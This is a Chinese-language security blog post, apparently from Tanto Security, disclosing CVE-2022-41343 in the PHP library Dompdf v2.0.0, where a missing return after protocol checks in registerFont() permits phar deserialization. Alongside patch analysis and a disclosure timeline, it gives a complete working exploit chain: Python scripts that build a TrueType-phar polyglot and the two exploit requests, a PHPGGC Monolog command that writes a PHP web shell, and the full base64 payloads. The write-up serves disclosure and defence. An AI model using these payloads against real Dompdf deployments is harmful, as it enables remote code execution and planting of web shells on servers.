Dompdf 是 PHP 中一个流行的库,用于从 HTML 呈现 PDF 文件。Tanto Security 在 Dompdf 中披露了一个影响 2.0.0 及以下版本的漏洞。该漏洞已在 Dompdf v2.0.1 中修复。我们建议所有 Dompdf 用户尽快更新到最新版本。利用该漏洞会导致远程代码执行受以下条件限制。该应用程序部署在 PHP <= 7.x 上,并且众所周知的 RCE 反序列化小工具存在于任何应用程序库中。
介绍
在这篇博文中,我们将介绍 CVE-2022-41343 的详细信息。我们从分析 Dompdf v2.0.0 的源代码开始。然后,我们将查看针对先前漏洞发布的补丁。最后,我们将提供可用于利用 CVE-2022-41343 的有效载荷。
2022 年 9 月 30 日,Tanto 安全团队在澳大利亚墨尔本举行的名为 Ruxmon 的当地网络安全会议上做了演讲。该演示文稿涵盖了利用它所需的漏洞详细信息和基本 PHP 概念。如果您对该演示感兴趣,可以在此处下载幻灯片。
这项研究是如何开始的?
我们首先分析了 Dompdf 中以前的漏洞并阅读了 v2.0.0 的源代码。之前漏洞的一些补丁没有正确解决一些问题。特别是CVE-2022-28368 补丁(通过远程 CSS 字体缓存安装的 RCE)仍然允许文件上传。此外,CVE-2021-3838(不可信数据的反序列化)补丁有一个小但致命的代码错误。通过结合这两个问题,我们可以实现远程代码执行。
但在我们深入研究发现的细节之前,我们首先需要讨论这些先前的漏洞,因为我们使用了一些概念和其中一些的相同入口点。
DomPDF 过去的漏洞
CVE-2022-28368 - 通过远程 CSS 字体缓存安装(由 Positive Security)在 v1.2.1 上修补的 RCE
CVE-2021-3902 - 在 v2.0.0 上修补的 XML 外部实体引用的不当限制(由 Haxatron 通过 Huntr.dev 提供)
CVE-2021-3838 - 在 v2.0.0 上修补的不受信任数据的反序列化(由 Haxatron 通过 Huntr.dev)
CVE-2022-2400 - 在 v2.0.0 上修补的文件名或路径的外部控制(由 Haxatron 通过 Huntr.dev)
CVE-2022-0085 - 在 v2.0.0 上修补的服务器端请求伪造(Haxatron 通过 Huntr.dev)
CVE-2022-28368 - 通过远程 CSS 字体缓存安装的 RCE
Positive Security 发现,当 时$isRemoteEnabled=true,Dompdf 可以访问远程字体文件并使用与远程文件相同的扩展名将这些文件缓存在磁盘上。
缓存的字体存储在目录/vendor/dompdf/dompdf/lib/fonts/中,格式如下:[font_name]_[font_weight]_[md5(src:url)].[extension]
如果字体缓存目录暴露在互联网上,攻击者可以实现远程代码执行。这可以通过创建带有扩展名的有效字体.php和包含恶意 PHP 代码(例如)的commentor字段来完成。copyright<?php system($_GET[0]); ?>
Positive Security 发布了一篇关于此漏洞的精彩博文,可在此处访问https://positive.security/blog/dompdf-rce
CVE-2022-28368 的补丁
图 1. CVE-2022-28368 的补丁。单击此处访问补丁差异
https://github.com/dompdf/dompdf/pull/2808/files/00b2b360ace768d58430f1cc5a20cb43d58bbc1a#diff-a0473fa74c65efedd487f657d52cb196245a84d2b13e622818dd0d7283da6d38
补丁的结论:
它现在强制缓存的字体具有扩展名.ttf. 这消除了在暴露目录.php时使用扩展名来实现 RCE 的可能性……但是……/vendor/
它没有解决字体文件中仍然可以存在任意内容的事实。因此,理论上多语言字体文件仍然是有效字体,绕过字体验证并将潜在的恶意文件写入磁盘......
它没有解决远程文件仍以可预测的文件名格式保存到磁盘的事实[font_name]_[font_weight]_[md5(src:url)].ttf。
总之,它修复了漏洞,但具有可预测文件名的任意文件上传仍然存在!
CVE-2021-3838 - 不可信数据的反序列化
Haxatron 报告说,Dompdf 接受phar://任何使用该src属性的 HTML 元素中的包装器。在 Hexatron 的报告之后,该问题已在 v2.0.0 版本中得到修补。有趣的是,(jurysosnovsky)早在 2019 年就已经向 Dompdf mantainers 报告了这一点!
在 Haxatron 的报告中,他明确指出使用 Dompdf 的易受攻击的应用程序需要具有上传功能才能使这种攻击起作用。这是真的,但我们已经知道 CVE-2022-28368 的补丁没有解决上传问题,我们可以滥用这种行为将多语言字体文件上传到字体缓存目录。
Dompdf v2.0.0 和创建$allowedProtocols列表
v2.0.0 中最大的变化之一是$allowedProtocols列表的创建及其验证rules。现在,在使用该属性的任何 HTML 元素中,默认情况下只允许使用协议file://,http://和。可以在文件中观察到这些更改的源代码。为了方便读者,我们在下面添加了最重要的部分:https://srcsrc/Options.php
[...]
public function __construct(array $attributes = null)
{
[...]
$this->setAllowedProtocols(["file://", "http://", "https://"]);
[...]
}
public function getAllowedProtocols()
{
return $this->allowedProtocols;
}
/**
* @param array $allowedProtocols The protocols to allow, as an array
* formatted as ["protocol://" => ["rules" => [callable]], ...]
* or ["protocol://", ...]
*
* @return $this
*/
public function setAllowedProtocols(array $allowedProtocols)
{
$protocols = [];
foreach ($allowedProtocols as $protocol => $config) {
if (is_string($protocol)) {
$protocols[$protocol] = [];
if (is_array($config)) {
$protocols[$protocol] = $config;
}
} elseif (is_string($config)) {
$protocols[$config] = [];
}
}
$this->allowedProtocols = [];
foreach ($protocols as $protocol => $config) {
$this->addAllowedProtocol($protocol, ...($config["rules"] ?? []));
}
return $this;
}
/**
* Adds a new protocol to the allowed protocols collection
*
* @param string $protocol The scheme to add (e.g. "http://")
* @param callable $rule A callable that validates the protocol
* @return $this
*/
public function addAllowedProtocol(string $protocol, callable ...$rules)
{
$protocol = strtolower($protocol);
if (empty($rules)) {
$rules = [];
switch ($protocol) {
case "file://":
$rules[] = [$this, "validateLocalUri"];
break;
case "http://":
case "https://":
$rules[] = [$this, "validateRemoteUri"];
break;
case "phar://":
$rules[] = [$this, "validatePharUri"];
break;
}
}
$this->allowedProtocols[$protocol] = ["rules" => $rules];
return $this;
}
public function validateLocalUri(string $uri)
{
if ($uri === null || strlen($uri) === 0) {
return [false, "The URI must not be empty."];
}
$realfile = realpath(str_replace("file://", "", $uri));
$dirs = $this->chroot;
$dirs[] = $this->rootDir;
$chrootValid = false;
foreach ($dirs as $chrootPath) {
$chrootPath = realpath($chrootPath);
if ($chrootPath !== false && strpos($realfile, $chrootPath) === 0) {
$chrootValid = true;
break;
}
}
if ($chrootValid !== true) {
return [false, "Permission denied. The file could not be found under the paths specified by Options::chroot."];
}
if (!$realfile) {
return [false, "File not found."];
}
return [true, null];
}
public function validatePharUri(string $uri)
{
if ($uri === null || strlen($uri) === 0) {
return [false, "The URI must not be empty."];
}
$file = substr(substr($uri, 0, strpos($uri, ".phar") + 5), 7);
return $this->validateLocalUri($file);
}
public function validateRemoteUri(string $uri)
{
if ($uri === null || strlen($uri) === 0) {
return [false, "The URI must not be empty."];
}
if (!$this->isRemoteEnabled) {
return [false, "Remote file requested, but remote file download is disabled."];
}
return [true, null];
}
[...]
Dompdf 维护者修改了代码库,以使用$allowedProtocols类似于下面的检查的列表来验证 URL。这个片段的完整源代码可以在src/Css/Stylesheet.php找到:
function load_css_file($file, $origin = self::ORIG_AUTHOR)
{
[...]
if (strpos($file, "data:") === 0) {
$parsed = Helpers::parse_data_uri($file);
$css = $parsed["data"];
} else {
$options = $this->_dompdf->getOptions();
$parsed_url = Helpers::explode_url($file);
$protocol = $parsed_url["protocol"];
if ($file !== $this->getDefaultStylesheet()) {
$allowed_protocols = $options->getAllowedProtocols();
if (!array_key_exists($protocol, $allowed_protocols)) {
Helpers::record_warnings(E_USER_WARNING, "Permission denied on $file. The communication protocol is not supported.", __FILE__, __LINE__);
return;
}
foreach ($allowed_protocols[$protocol]["rules"] as $rule) {
[$result, $message] = $rule($file);
if (!$result) {
Helpers::record_warnings(E_USER_WARNING, "Error loading $file: $message", __FILE__, __LINE__);
return;
}
}
}
[$css, $http_response_header] = Helpers::getFileContent($file, $this->_dompdf->getHttpContext());
$good_mime_type = true;
[...]
}
可以看出,应用程序首先解析 URL 以获取协议。然后在调用之前Helpers::getFileContent(),下载文件,它会验证协议是否在$allowedProtocols列表中。如果任一检查失败,应用程序会记录一条警告消息,并且return不会处理该文件。
凉爽的!它似乎是一个很好的补丁,并phar://通过默认禁用来解决问题。但是…… 在所有修改的代码中都会出现相同的情况吗?这些年来我从行业中学到的一件事是“信任但要验证!”......所以在阅读了所有代码更改后,我发现了一些东西......比方说......有点奇怪......😏
CVE-2022-41343
让我们来看看罪魁祸首!下面的代码registerFont()来自src/FontMetrics.php. 这与 Positive Security 在 CVE-2022-28368 中滥用的功能相同,之前在 v1.2.1 中已修补。
public function registerFont($style, $remoteFile, $context = null)
{
[...]
$entry[$styleString] = $localFile;
// Download the remote file
[$protocol] = Helpers::explode_url($remoteFile);
$allowed_protocols = $this->options->getAllowedProtocols();
if (!array_key_exists($protocol, $allowed_protocols)) {
Helpers::record_warnings(E_USER_WARNING, "Permission denied on $remoteFile. The communication protocol is not supported.", __FILE__, __LINE__);
}
foreach ($allowed_protocols[$protocol]["rules"] as $rule) {
[$result, $message] = $rule($remoteFile);
if ($result !== true) {
Helpers::record_warnings(E_USER_WARNING, "Error loading $remoteFile: $message", __FILE__, __LINE__);
}
}
list($remoteFileContent, $http_response_header) = @Helpers::getFileContent($remoteFile, $context);
if ($remoteFileContent === null) {
return false;
}
[...]
}
酷,验证就在那里……但我认为缺少一些东西,不是吗?🤔
在这里,return验证后缺少语句!这意味着我们可以使用任何协议(包括phar://),并且仍然保证使用这个入口点我们的 URL 将命中Helpers::getFileContents().
现在,让我们看看Helpers::getFileContent()位于src/Helpers.php:
[...]
public static function getFileContent($uri, $context = null, $offset = 0, $maxlen = null)
{
$content = null;
$headers = null;
[$protocol] = Helpers::explode_url($uri);
$is_local_path = in_array(strtolower($protocol), ["", "file://", "phar://"], true);
$can_use_curl = in_array(strtolower($protocol), ["http://", "https://"], true);
set_error_handler([self::class, 'record_warnings']);
try {
if ($is_local_path || ini_get('allow_url_fopen') || !$can_use_curl) {
if ($is_local_path === false) {
$uri = Helpers::encodeURI($uri);
}
if (isset($maxlen)) {
$result = file_get_contents($uri, false, $context, $offset, $maxlen);
} else {
$result = file_get_contents($uri, false, $context, $offset);
}
if ($result !== false) {
$content = $result;
}
if (isset($http_response_header)) {
$headers = $http_response_header;
}
} elseif ($can_use_curl && function_exists('curl_exec')) {
[...]
}
} finally {
restore_error_handler();
}
return [$content, $headers];
}
[...]
正如我们所看到的,如果为空(意味着它的文件路径)或等于or ,则$is_local_path将是真的。另外,如果等于或,该变量将为真。在代码之后,如果我们在 URL 中使用or作为协议方案,它将始终在第一条语句中输入并到达。这意味着我们可以使用该协议将 polyglot truetype-phar 文件写入磁盘,然后发送另一个请求来触发反序列化。这种行为消除了利用此漏洞的需要,这意味着即使目标应用程序没有互联网连接,我们也可以实现 RCE。$protocolfile://phar://$can_use_curl$protocolhttp://https://phar://data://iffile_get_contents()data://phar://$isRemoteEnable=true
好的,足够的讨论让我们看看我们如何在易受攻击的应用程序中实现 RCE。😄
如何利用这个漏洞?
为了演示此漏洞的严重影响,我们使用 Dompdf v2.0.0 和 Monolog v1.27.0 创建了一个简单的 PHP 应用程序。出于这个 POC 的目的,选择了这个版本的 Monolog,因为它有一个众所周知的反序列化小工具,可以导致远程代码执行。这个小工具存在于PHPGGC项目中,我们还将使用它来构建我们的 TrueType-Phar 多语言文件。
要利用此漏洞,我们需要发送两个请求。第一个请求将用于通过data://协议方案编写多语言 truetype-phar 文件。有效负载将如下所示:
<style>
@font-face {
font-family:'exploit';
src:url('data:text/plain;base64,double_url_encode([BASE64_POLYGLOT_TRUETYPE-PHAR])');
font-weight:'normal';
font-style:'normal';
}
</style>
请注意double_url_encodebase64 有效负载中的 意味着我们应该在将其发送到应用程序之前对其进行双重 URL 编码。这样,Dompdf 和 PHP 将在解析data://URL 时正确处理有效负载并成功解码。
第二个请求将用于通过phar://指向我们的 TrueType-Phar 多语言文件的协议触发反序列化。有效负载将如下所示:
<style>
@font-face {
font-family:'exploit';
src:url('phar://path/to/app/vendor/dompdf/dompdf/lib/fonts/exploit_normal_[md5(data:text/plain;base64,[BASE64_POLYGLOT_TRUETYPE-PHAR])].ttf##');
font-weight:'normal';
font-style:'normal';
}
</style>
为了生成基本的 TrueType 字体,我们使用fontforge( pip3 install fontforge) 创建了一个 python 脚本https://tantosec.com/blog/cve-2022-41343/generate_font.py。
您可以在此处下载此脚本。该脚本概述如下:
#!/usr/bin/env python3
import fontforge
import os
import sys
import tempfile
from typing import Optional
def main():
sys.stdout.buffer.write(do_generate_font())
def do_generate_font() -> bytes:
fd, fn = tempfile.mkstemp(suffix=".ttf")
os.close(fd)
font = fontforge.font()
font.copyright = "DUMMY FONT"
font.generate(fn)
with open(fn, "rb") as f:
res = f.read()
os.unlink(fn)
result = res
return result
if __name__ == "__main__":
main()
要生成通用 TrueType 字体命名font.ttf文件,我们只需要执行:
% python3 generate_font.py > font.ttf
Warning: Font contained no glyphs
为了使用可以在我们的版本中工作的 Monolog 有效负载生成有效的 TrueType-phar 多语言,我们使用了PHPGGC项目。要生成这个文件,我们只需要执行:
% php -d phar.readonly=0 phpggc Monolog/RCE1 system "echo '<?php system(\$_GET[0]); ?>' > /var/www/html/shell.php" -p phar -pp font.ttf -o font-polyglot.phar
可以观察到,在成功反序列化后,我们的目标应用程序将shell.php在应用程序的公共 web 目录中写入一个名为的文件,其中包含内容<?php system($_GET[0]); ?>(一个最小的 PHP web shell)。
在下一步中,我们需要构建两个请求以利用我们的目标应用程序。由于这涉及到一些字符串操作和data://URI 的 md5 哈希计算,我们创建了一个简单的 python 脚本,它将为我们生成这些有效负载。您可以在此处下载此脚本。该脚本概述如下:
#!/usr/bin/env python3
import argparse
import hashlib
import base64
import urllib.parse
import os
PAYLOAD_TEMPLATE_URL_ENCODED = '''
<style>@font-face+{+font-family:'exploit';+src:url('%s');+font-weight:'normal';+font-style:'normal';}</style>
'''
PAYLOAD_TEMPLATE = '''
<style>
@font-face {
font-family:'exploit';
src:url('%s');
font-weight:'normal';
font-style:'normal';
}
</style>
'''
def get_args():
parser = argparse.ArgumentParser( prog="generate_payload.py",
formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
epilog= '''
This script will generate payloads for CVE-2022-41343
''')
parser.add_argument("file", help="Polyglot File")
parser.add_argument("-p", "--path", default="/var/www/", help="Base path to vendor directory (Default = /var/www/)")
args = parser.parse_args()
return args
def main():
args = get_args()
file = args.file.strip()
path = args.path.strip()
if(os.path.exists(file)):
generate_payloads(file, path)
else:
print("ERROR: File doesn't exist.")
def generate_payloads(file, path):
with open(file, "rb") as f:
fc = f.read()
b64 = base64.b64encode(fc)
data_uri_pure = "data:text/plain;base64,%s" % b64.decode()
md5 = hashlib.md5(data_uri_pure.encode()).hexdigest()
data_uri_double_encoded = "data:text/plain;base64,%s" % urllib.parse.quote_plus(urllib.parse.quote_plus(b64.decode()))
phar_uri = "phar://%s/vendor/dompdf/dompdf/lib/fonts/exploit_normal_%s.ttf##" % (path,md5)
req1_enc = PAYLOAD_TEMPLATE_URL_ENCODED % data_uri_double_encoded
req2_enc = PAYLOAD_TEMPLATE_URL_ENCODED % urllib.parse.quote_plus(phar_uri)
req1_pure = PAYLOAD_TEMPLATE % data_uri_double_encoded
req2_pure = PAYLOAD_TEMPLATE % phar_uri
print("====== REQUEST 1 ENCODED =======")
print(req1_enc)
print("====== REQUEST 2 ENCODED =======")
print(req2_enc)
print("====== REQUEST 1 NOT ENCODED =======")
print(req1_pure)
print("====== REQUEST 2 NOT ENCODED =======")
print(req2_pure)
if __name__ == "__main__":
main()
然后要生成我们将在攻击中使用的有效载荷,只需执行以下脚本:
% python3 generate_payload.py -p "/var/www" font-polyglot.phar
====== REQUEST 1 ENCODED =======
<style>@font-face+{+font-family:'exploit';+src:url('data:text/plain;base64,AAEAAAANAIAAAwBQRkZUTZ0FmjUAAAVwAAAAHE9TLzJVeV76AAABWAAAAGBjbWFwAA0DlgAAAcQAAAE6Y3Z0IAAhAnkAAAMAAAAABGdhc3D%252F%252FwADAAAFaAAAAAhnbHlmPaWWPgAAAwwAAABUaGVhZB8iACkAAADcAAAANmhoZWEEIAAAAAABFAAAACRobXR4ArkAIQAAAbgAAAAMbG9jYQAqAFQAAAMEAAAACG1heHAARwA5AAABOAAAACBuYW1lrSMjRgAAA2AAAAHjcG9zdP%252B3ADIAAAVEAAAAIgABAAAAAQAAjUfUUV8PPPUACwPoAAAAAN9cXlUAAAAA31xeVQAhAAABKgKaAAAACAACAAAAAAAAAAEAAAKaAAAAWgAAAAD%252F%252FwEqAAEAAAAAAAAAAAAAAAAAAAAAAAEAAAADAAgAAgAAAAAAAgAAAAEAAQAAAEAALgAAAAAABAH0AZAABQAAAooCvAAAAIwCigK8AAAB4AAxAQIAAAIABQMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUGZFZACA%252F%252F8AAAMg%252FzgAWgKaAAAAAAABAAAAAAAAAAAAAAAgAAEBbAAhAAAAAAFNAAAAAAADAAAAAwAAABwAAQAAAAAANAADAAEAAAAcAAQAGAAAAAIAAgAAAAD%252F%252FwAA%252F%252F8AAQAAAAABBgAAAQAAAAAAAAABAgAAAAIAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACECeQAAACoAKgAqAAIAIQAAASoCmgADAAcALrEBAC88sgcEAO0ysQYF3DyyAwIA7TIAsQMALzyyBQQA7TKyBwYB%252FDyyAQIA7TIzESERJzMRIyEBCejHxwKa%252FWYhAlgAAAAADgCuAAEAAAAAAAAACgAWAAEAAAAAAAEACQA1AAEAAAAAAAIABwBPAAEAAAAAAAMAJQCjAAEAAAAAAAQACQDdAAEAAAAAAAUADwEHAAEAAAAAAAYACQErAAMAAQQJAAAAFAAAAAMAAQQJAAEAEgAhAAMAAQQJAAIADgA%252FAAMAAQQJAAMASgBXAAMAAQQJAAQAEgDJAAMAAQQJAAUAHgDnAAMAAQQJAAYAEgEXAEQAVQBNAE0AWQAgAEYATwBOAFQAAERVTU1ZIEZPTlQAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAFIAZQBnAHUAbABhAHIAAFJlZ3VsYXIAAEYAbwBuAHQARgBvAHIAZwBlACAAMgAuADAAIAA6ACAAVQBuAHQAaQB0AGwAZQBkADEAIAA6ACAAMwAwAC0AOQAtADIAMAAyADIAAEZvbnRGb3JnZSAyLjAgOiBVbnRpdGxlZDEgOiAzMC05LTIwMjIAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAFYAZQByAHMAaQBvAG4AIAAwADAAMQAuADAAMAAwAABWZXJzaW9uIDAwMS4wMDAAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAAACAAAAAAAA%252F7UAMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH%252F%252FwACAAAAAQAAAADeTN2KAAAAAN9cXlUAAAAA31xeVTw%252FcGhwIF9fSEFMVF9DT01QSUxFUigpOyA%252FPg0KxAEAAAEAAAARAAAAAQAAAAAAjgEAAE86MzI6Ik1vbm9sb2dcSGFuZGxlclxTeXNsb2dVZHBIYW5kbGVyIjoxOntzOjk6IgAqAHNvY2tldCI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO3I6MjtzOjEzOiIAKgBidWZmZXJTaXplIjtpOi0xO3M6OToiACoAYnVmZmVyIjthOjE6e2k6MDthOjI6e2k6MDtzOjU5OiJlY2hvICc8P3BocCBzeXN0ZW0oJF9HRVRbMF0pOyA%252FPicgPiAvdmFyL3d3dy9odG1sL3NoZWxsLnBocCI7czo1OiJsZXZlbCI7Tjt9fXM6ODoiACoAbGV2ZWwiO047czoxNDoiACoAaW5pdGlhbGl6ZWQiO2I6MTtzOjE0OiIAKgBidWZmZXJMaW1pdCI7aTotMTtzOjEzOiIAKgBwcm9jZXNzb3JzIjthOjI6e2k6MDtzOjc6ImN1cnJlbnQiO2k6MTtzOjY6InN5c3RlbSI7fX19CAAAAHRlc3QudHh0BAAAAF%252BuNmMEAAAADH5%252F2KQBAAAAAAAAdGVzdE%252Bd0ZXzol05givfp97wFjj48EQWAgAAAEdCTUI%253D');+font-weight:'normal';+font-style:'normal';}</style>
====== REQUEST 2 ENCODED =======
<style>@font-face+{+font-family:'exploit';+src:url('phar%3A%2F%2F%2Fvar%2Fwww%2Fvendor%2Fdompdf%2Fdompdf%2Flib%2Ffonts%2Fexploit_normal_2dfb85807707aec5d2a086aa19474b05.ttf%23%23');+font-weight:'normal';+font-style:'normal';}</style>
====== REQUEST 1 NOT ENCODED =======
<style>
@font-face {
font-family:'exploit';
src:url('data:text/plain;base64,AAEAAAANAIAAAwBQRkZUTZ0FmjUAAAVwAAAAHE9TLzJVeV76AAABWAAAAGBjbWFwAA0DlgAAAcQAAAE6Y3Z0IAAhAnkAAAMAAAAABGdhc3D%252F%252FwADAAAFaAAAAAhnbHlmPaWWPgAAAwwAAABUaGVhZB8iACkAAADcAAAANmhoZWEEIAAAAAABFAAAACRobXR4ArkAIQAAAbgAAAAMbG9jYQAqAFQAAAMEAAAACG1heHAARwA5AAABOAAAACBuYW1lrSMjRgAAA2AAAAHjcG9zdP%252B3ADIAAAVEAAAAIgABAAAAAQAAjUfUUV8PPPUACwPoAAAAAN9cXlUAAAAA31xeVQAhAAABKgKaAAAACAACAAAAAAAAAAEAAAKaAAAAWgAAAAD%252F%252FwEqAAEAAAAAAAAAAAAAAAAAAAAAAAEAAAADAAgAAgAAAAAAAgAAAAEAAQAAAEAALgAAAAAABAH0AZAABQAAAooCvAAAAIwCigK8AAAB4AAxAQIAAAIABQMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUGZFZACA%252F%252F8AAAMg%252FzgAWgKaAAAAAAABAAAAAAAAAAAAAAAgAAEBbAAhAAAAAAFNAAAAAAADAAAAAwAAABwAAQAAAAAANAADAAEAAAAcAAQAGAAAAAIAAgAAAAD%252F%252FwAA%252F%252F8AAQAAAAABBgAAAQAAAAAAAAABAgAAAAIAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACECeQAAACoAKgAqAAIAIQAAASoCmgADAAcALrEBAC88sgcEAO0ysQYF3DyyAwIA7TIAsQMALzyyBQQA7TKyBwYB%252FDyyAQIA7TIzESERJzMRIyEBCejHxwKa%252FWYhAlgAAAAADgCuAAEAAAAAAAAACgAWAAEAAAAAAAEACQA1AAEAAAAAAAIABwBPAAEAAAAAAAMAJQCjAAEAAAAAAAQACQDdAAEAAAAAAAUADwEHAAEAAAAAAAYACQErAAMAAQQJAAAAFAAAAAMAAQQJAAEAEgAhAAMAAQQJAAIADgA%252FAAMAAQQJAAMASgBXAAMAAQQJAAQAEgDJAAMAAQQJAAUAHgDnAAMAAQQJAAYAEgEXAEQAVQBNAE0AWQAgAEYATwBOAFQAAERVTU1ZIEZPTlQAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAFIAZQBnAHUAbABhAHIAAFJlZ3VsYXIAAEYAbwBuAHQARgBvAHIAZwBlACAAMgAuADAAIAA6ACAAVQBuAHQAaQB0AGwAZQBkADEAIAA6ACAAMwAwAC0AOQAtADIAMAAyADIAAEZvbnRGb3JnZSAyLjAgOiBVbnRpdGxlZDEgOiAzMC05LTIwMjIAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAFYAZQByAHMAaQBvAG4AIAAwADAAMQAuADAAMAAwAABWZXJzaW9uIDAwMS4wMDAAAFUAbgB0AGkAdABsAGUAZAAxAABVbnRpdGxlZDEAAAACAAAAAAAA%252F7UAMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH%252F%252FwACAAAAAQAAAADeTN2KAAAAAN9cXlUAAAAA31xeVTw%252FcGhwIF9fSEFMVF9DT01QSUxFUigpOyA%252FPg0KxAEAAAEAAAARAAAAAQAAAAAAjgEAAE86MzI6Ik1vbm9sb2dcSGFuZGxlclxTeXNsb2dVZHBIYW5kbGVyIjoxOntzOjk6IgAqAHNvY2tldCI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO3I6MjtzOjEzOiIAKgBidWZmZXJTaXplIjtpOi0xO3M6OToiACoAYnVmZmVyIjthOjE6e2k6MDthOjI6e2k6MDtzOjU5OiJlY2hvICc8P3BocCBzeXN0ZW0oJF9HRVRbMF0pOyA%252FPicgPiAvdmFyL3d3dy9odG1sL3NoZWxsLnBocCI7czo1OiJsZXZlbCI7Tjt9fXM6ODoiACoAbGV2ZWwiO047czoxNDoiACoAaW5pdGlhbGl6ZWQiO2I6MTtzOjE0OiIAKgBidWZmZXJMaW1pdCI7aTotMTtzOjEzOiIAKgBwcm9jZXNzb3JzIjthOjI6e2k6MDtzOjc6ImN1cnJlbnQiO2k6MTtzOjY6InN5c3RlbSI7fX19CAAAAHRlc3QudHh0BAAAAF%252BuNmMEAAAADH5%252F2KQBAAAAAAAAdGVzdE%252Bd0ZXzol05givfp97wFjj48EQWAgAAAEdCTUI%253D');
font-weight:'normal';
font-style:'normal';
}
</style>
====== REQUEST 2 NOT ENCODED =======
<style>
@font-face {
font-family:'exploit';
src:url('phar:///var/www/vendor/dompdf/dompdf/lib/fonts/exploit_normal_2dfb85807707aec5d2a086aa19474b05.ttf##');
font-weight:'normal';
font-style:'normal';
}
</style>
最后,我们只需将两个请求都发送到应用程序,以将我们的shell.php内容写入公共网络目录/var/ww/html。以下屏幕截图说明了攻击:
图 2. 证明应用程序中不存在 webshell
图 3. 发送第一个请求以将多语言文件写入磁盘data://
图 4. 发送第二个请求以触发反序列化phar://
图 5. 访问 webshell
时间线
2022-08-17- 漏洞报告给[email protected](来自 SECURITY.md)。
2022-08-18- Mantainer 确认收到报告并感谢我们提交。
2022-08-19- Mantainer 确认了该漏洞并表示他们正在努力修复。
2022-08-25- Mantainer 告知他已经创建了一个问题并将修复推送到 github。
2022-09-22- 版本 2.0.1 发布,修复此漏洞。
2022-09-26- 发布 CVE-2022-41343 以编目此漏洞。
2022-09-30- 披露 Ruxmon 的漏洞。
2022-10-06- 公开披露。
结论
在调查 Dompdf 中过去的漏洞以及试图解决这些漏洞的补丁时,我们发现了其他滥用 Dompdf 并实现代码执行的机会。在此过程中,发布了 v2.0.0,Tanto Security 发现了一个小代码错误,最终导致在此版本中也通过 Phar 反序列化执行代码。
此漏洞已在 Dompdf v2.0.1 中修复,我们建议所有 Dompdf 用户尽快将其安装更新到最新版本。